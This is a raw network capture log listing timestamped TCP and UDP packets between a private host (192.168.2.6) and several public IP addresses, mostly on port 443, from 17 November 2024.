Nov 17, 2024 01:38:42.828192949 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.828212023 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.828236103 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.828242064 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.828602076 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.828655958 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.828701973 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:42.828722000 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.828995943 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.828995943 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:42.839068890 CET	443	49905	18.244.18.27	192.168.2.6
Nov 17, 2024 01:38:42.839721918 CET	49905	443	192.168.2.6	18.244.18.27
Nov 17, 2024 01:38:42.839728117 CET	443	49905	18.244.18.27	192.168.2.6
Nov 17, 2024 01:38:42.841350079 CET	443	49905	18.244.18.27	192.168.2.6
Nov 17, 2024 01:38:42.841408968 CET	49905	443	192.168.2.6	18.244.18.27
Nov 17, 2024 01:38:42.842274904 CET	49905	443	192.168.2.6	18.244.18.27
Nov 17, 2024 01:38:42.842360020 CET	443	49905	18.244.18.27	192.168.2.6
Nov 17, 2024 01:38:42.885947943 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.886010885 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.886224031 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.887238979 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.887271881 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.887331963 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.887336969 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.887482882 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.890742064 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.890789032 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.892201900 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.892226934 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.892265081 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.892282963 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.892283916 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.892417908 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.895483017 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.895540953 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.895780087 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.899923086 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.899940968 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.899967909 CET	49909	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.899974108 CET	443	49909	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.918451071 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.918451071 CET	49908	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.918464899 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.918473959 CET	443	49908	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.919564962 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.919564962 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.919573069 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.919583082 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.920344114 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.920344114 CET	49910	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.920350075 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.920357943 CET	443	49910	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.922899961 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.922900915 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.922909975 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.922920942 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.930824995 CET	56705	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.930850029 CET	443	56705	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.931453943 CET	56705	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.931631088 CET	56706	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.931675911 CET	443	56706	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.932197094 CET	56705	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.932208061 CET	443	56705	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.932235003 CET	56706	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.932487965 CET	56706	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.932507038 CET	443	56706	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.932638884 CET	56707	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.932646990 CET	443	56707	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.933393002 CET	56707	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.933649063 CET	56708	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.933651924 CET	56707	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.933665991 CET	443	56707	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.933671951 CET	443	56708	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.933756113 CET	56708	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.933912039 CET	56708	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.933912992 CET	56709	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.933922052 CET	443	56708	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.933929920 CET	443	56709	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.933974028 CET	56709	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.934228897 CET	56709	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:42.934236050 CET	443	56709	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:42.961000919 CET	49905	443	192.168.2.6	18.244.18.27
Nov 17, 2024 01:38:42.961009979 CET	443	49905	18.244.18.27	192.168.2.6
Nov 17, 2024 01:38:43.076278925 CET	49905	443	192.168.2.6	18.244.18.27
Nov 17, 2024 01:38:43.174132109 CET	56713	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:43.174137115 CET	56712	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.174149036 CET	443	56713	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:43.174151897 CET	443	56712	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:43.174241066 CET	56712	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.174241066 CET	56713	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:43.174779892 CET	56713	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:43.174794912 CET	443	56713	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:43.174998999 CET	56712	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.175013065 CET	443	56712	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:43.189424038 CET	56714	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.189435005 CET	443	56714	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:43.189893007 CET	56714	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.191165924 CET	56714	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.191179991 CET	443	56714	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:43.242852926 CET	53	56702	162.159.36.2	192.168.2.6
Nov 17, 2024 01:38:43.243700027 CET	56702	53	192.168.2.6	162.159.36.2
Nov 17, 2024 01:38:43.249186039 CET	53	56702	162.159.36.2	192.168.2.6
Nov 17, 2024 01:38:43.249285936 CET	56702	53	192.168.2.6	162.159.36.2
Nov 17, 2024 01:38:43.253878117 CET	49889	443	192.168.2.6	142.250.185.65
Nov 17, 2024 01:38:43.253895044 CET	443	49889	142.250.185.65	192.168.2.6
Nov 17, 2024 01:38:43.319547892 CET	56712	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.320270061 CET	56716	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.320306063 CET	443	56716	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:43.320419073 CET	56716	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.320815086 CET	56716	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.320826054 CET	443	56716	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:43.321692944 CET	56713	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:43.322340965 CET	49905	443	192.168.2.6	18.244.18.27
Nov 17, 2024 01:38:43.322401047 CET	443	49905	18.244.18.27	192.168.2.6
Nov 17, 2024 01:38:43.322458029 CET	49905	443	192.168.2.6	18.244.18.27
Nov 17, 2024 01:38:43.323795080 CET	56718	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:43.323816061 CET	443	56718	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:43.323940992 CET	56718	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:43.324507952 CET	56714	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.324702978 CET	56722	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.324709892 CET	443	56722	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:43.324791908 CET	56722	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.325268030 CET	56718	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:43.325278044 CET	443	56718	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:43.326145887 CET	56722	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.326157093 CET	443	56722	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:43.363369942 CET	443	56713	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:43.363390923 CET	443	56712	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:43.367331982 CET	443	56714	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:43.427680969 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:43.427820921 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:43.666985989 CET	443	56705	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.674484015 CET	443	56707	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.675863028 CET	443	56709	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.677318096 CET	443	56706	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.678004980 CET	443	56708	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.734781981 CET	56708	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.734796047 CET	443	56708	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.735563040 CET	56708	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.735567093 CET	443	56708	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.736303091 CET	56706	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.736388922 CET	443	56706	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.736686945 CET	56706	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.736701012 CET	443	56706	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.737395048 CET	56705	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.737416029 CET	443	56705	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.737996101 CET	56705	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.738001108 CET	443	56705	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.742204905 CET	56707	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.742218971 CET	443	56707	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.742932081 CET	56707	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.742935896 CET	443	56707	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.743338108 CET	56709	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.743351936 CET	443	56709	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.744137049 CET	56709	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.744141102 CET	443	56709	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.753747940 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:43.759551048 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:43.785372019 CET	443	56713	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:43.785460949 CET	56713	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:43.794579029 CET	443	56714	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:43.794718027 CET	443	56714	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:43.794779062 CET	56714	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.794791937 CET	56714	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:43.863061905 CET	443	56708	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.863147974 CET	443	56708	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.863526106 CET	56708	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.885402918 CET	443	56705	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.885437965 CET	443	56706	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.885478020 CET	443	56705	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.885483027 CET	443	56707	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.885493994 CET	443	56706	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.885520935 CET	56705	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.885562897 CET	443	56707	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.885560036 CET	56706	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.885621071 CET	56707	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.886205912 CET	443	56709	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.886256933 CET	443	56709	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:43.887372017 CET	56709	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:43.936789989 CET	443	56716	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:43.942369938 CET	443	56718	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:43.944683075 CET	443	56722	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.049885035 CET	56716	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.049906015 CET	56718	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.058402061 CET	56722	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.058423996 CET	443	56722	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.058680058 CET	56718	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.058689117 CET	443	56718	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.058919907 CET	56716	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.058937073 CET	443	56716	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.059703112 CET	443	56722	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.059716940 CET	443	56722	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.059767962 CET	56722	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.060237885 CET	443	56718	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.060254097 CET	443	56718	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.060301065 CET	56718	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.061078072 CET	443	56716	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.061099052 CET	443	56716	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.061127901 CET	56716	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.100732088 CET	56723	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.100780964 CET	443	56723	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.100996017 CET	56723	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.104155064 CET	56716	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.104629993 CET	443	56716	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.104855061 CET	56724	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.104882956 CET	443	56724	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.104943991 CET	56724	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.107526064 CET	56723	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.107549906 CET	443	56723	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.107669115 CET	56718	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.107789993 CET	443	56718	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.111216068 CET	56725	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.111244917 CET	443	56725	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.111308098 CET	56725	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.111664057 CET	56722	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.111874104 CET	443	56722	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.114658117 CET	56724	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.114686966 CET	443	56724	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.115163088 CET	56725	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.115184069 CET	443	56725	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.115324974 CET	56716	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.115334988 CET	443	56716	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.115828037 CET	56718	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.115849972 CET	443	56718	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.115904093 CET	56722	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.115919113 CET	443	56722	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.127420902 CET	56708	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.127445936 CET	443	56708	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.127465010 CET	56708	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.127470970 CET	443	56708	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.127659082 CET	56707	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.127677917 CET	443	56707	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.127687931 CET	56707	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.127692938 CET	443	56707	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.128273964 CET	56709	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.128293991 CET	443	56709	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.129905939 CET	56705	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.129911900 CET	443	56705	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.129936934 CET	56705	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.129940987 CET	443	56705	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.130224943 CET	56706	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.130224943 CET	56706	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.130295992 CET	443	56706	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.130335093 CET	443	56706	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.157121897 CET	56726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.157171965 CET	443	56726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.157315016 CET	56726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.159168959 CET	56727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.159214973 CET	443	56727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.159281015 CET	56727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.159694910 CET	56728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.159717083 CET	443	56728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.159771919 CET	56728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.159992933 CET	56729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.160059929 CET	56716	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.160088062 CET	443	56729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.160130024 CET	56718	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.160177946 CET	56729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.160274982 CET	56726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.160301924 CET	443	56726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.160597086 CET	56729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.160629988 CET	443	56729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.161776066 CET	56727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.161793947 CET	443	56727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.161978006 CET	56728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.161993027 CET	443	56728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.163137913 CET	56730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.163149118 CET	443	56730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.163222075 CET	56730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.163383007 CET	56730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.163398027 CET	443	56730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.247787952 CET	443	56716	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.247955084 CET	443	56716	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.248014927 CET	56716	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.248951912 CET	443	56718	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.249026060 CET	443	56718	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.249109030 CET	56718	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.249284983 CET	443	56722	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.249345064 CET	56722	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.252106905 CET	56716	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.252130032 CET	443	56716	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.252573967 CET	56722	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.252580881 CET	443	56722	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.252890110 CET	56718	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.252893925 CET	443	56718	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.277862072 CET	443	56712	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.277930975 CET	56712	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.529176950 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:44.529252052 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:44.675415039 CET	56731	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.675441027 CET	443	56731	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.675561905 CET	56731	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.675649881 CET	56732	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.675693035 CET	443	56732	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.675740957 CET	56732	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.675827980 CET	56731	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.675841093 CET	443	56731	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.675934076 CET	56732	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.675951004 CET	443	56732	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.703989983 CET	443	56723	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.704196930 CET	56723	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.704222918 CET	443	56723	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.705712080 CET	443	56723	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.705770016 CET	56723	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.706330061 CET	56723	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.706419945 CET	443	56723	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.706613064 CET	56723	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.706621885 CET	443	56723	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.714705944 CET	443	56725	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.714921951 CET	56725	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.714947939 CET	443	56725	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.718652010 CET	443	56725	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.718708992 CET	56725	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.719177961 CET	56725	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.719394922 CET	443	56725	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.719742060 CET	56725	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.719753027 CET	443	56725	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.723545074 CET	443	56724	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.724462986 CET	56724	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.724486113 CET	443	56724	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.728224993 CET	443	56724	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.728293896 CET	56724	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.728637934 CET	56724	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.728841066 CET	56724	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.728867054 CET	443	56724	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.752856016 CET	56723	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.833206892 CET	443	56723	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.833306074 CET	443	56723	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.833605051 CET	56723	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.833705902 CET	56723	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.833724022 CET	443	56723	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.848144054 CET	443	56725	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.848217964 CET	56725	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.848409891 CET	56725	443	192.168.2.6	172.64.41.3
Nov 17, 2024 01:38:44.848422050 CET	443	56725	172.64.41.3	192.168.2.6
Nov 17, 2024 01:38:44.859783888 CET	56724	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.859802961 CET	443	56724	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.860102892 CET	443	56724	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.860198021 CET	56724	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:44.861531019 CET	56724	443	192.168.2.6	162.159.61.3
